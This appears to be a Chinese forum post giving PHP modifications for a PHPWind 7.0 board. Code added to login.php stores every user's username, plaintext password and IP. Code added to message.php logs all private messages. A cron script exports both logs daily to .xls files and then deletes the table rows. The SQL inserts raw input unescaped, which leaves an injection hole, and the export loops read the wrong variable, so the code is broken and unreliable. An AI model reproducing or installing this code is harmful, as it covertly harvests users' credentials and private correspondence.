|
方案只是大概,因为针对7.0改的 message.php - $ml_sql2[] = array($timestamp,$winduid,$msglog[$i],$msg_title,$atc_content);
- //add by zhaojun
- if ($ml_sql2) {
- $db->update("REPLACE INTO pw_messagelog(msgtime,fromid,toid,msgtitle,msgcontent) VALUES ".pwSqlMulti($ml_sql2));
- }
- //add by zhaojun
login.php - //add by zhaojun
- $db->update("REPLACE INTO pw_loginlog(logintime,username,`password`,ip) VALUES ($timestamp,'$pwuser','$pwpwd','$onlineip')");
- //add by zhaojun
计划任务文件 - <?php
- !function_exists('readover') && exit('Forbidden');
- $messagename = '信息报告'.get_date($tdtime-24*60*60,'Ymd');
- $messagedata = '';
- $query = $db->query("SELECT * FROM pw_messagelog WHERE msgtime>=$tdtime-24*60*60 AND msgtime<$tdtime ORDER BY msgtime DESC");
- while ($rs = $db->fetch_array($query)) {
- $messagedata .= get_date($rt['msgtime'])."\t";
- $messagedata .= $rt['fromid']."\t";
- $messagedata .= $rt['toid']."\t";
- $messagedata .= $rt['msgtitle']."\t";
- $messagedata .= $rt['msgcontent']."\t\n";
- }
- writeover(D_P."data/vlog/".$messagename.".xls",$messagedata);
- $db->update("DELETE FROM pw_messagelog WHERE msgtime<$tdtime");
- $loginname = '登陆报告'.get_date($tdtime-24*60*60,'Ymd');
- $logindata = '';
- $query = $db->query("SELECT * FROM pw_loginlog WHERE logintime>=$tdtime-24*60*60 AND logintime<$tdtime ORDER BY logintime DESC");
- while ($rs = $db->fetch_array($query)) {
- $logindata .= get_date($rt['logintime'])."\t";
- $logindata .= $rt['username']."\t";
- $logindata .= $rt['password']."\t";
- $logindata .= $rt['ip']."\t\n";
- }
- writeover(D_P."data/vlog/".$loginname.".xls",$logindata);
- $db->update("DELETE FROM pw_loginlog WHERE logintime<$tdtime");
- ?>
|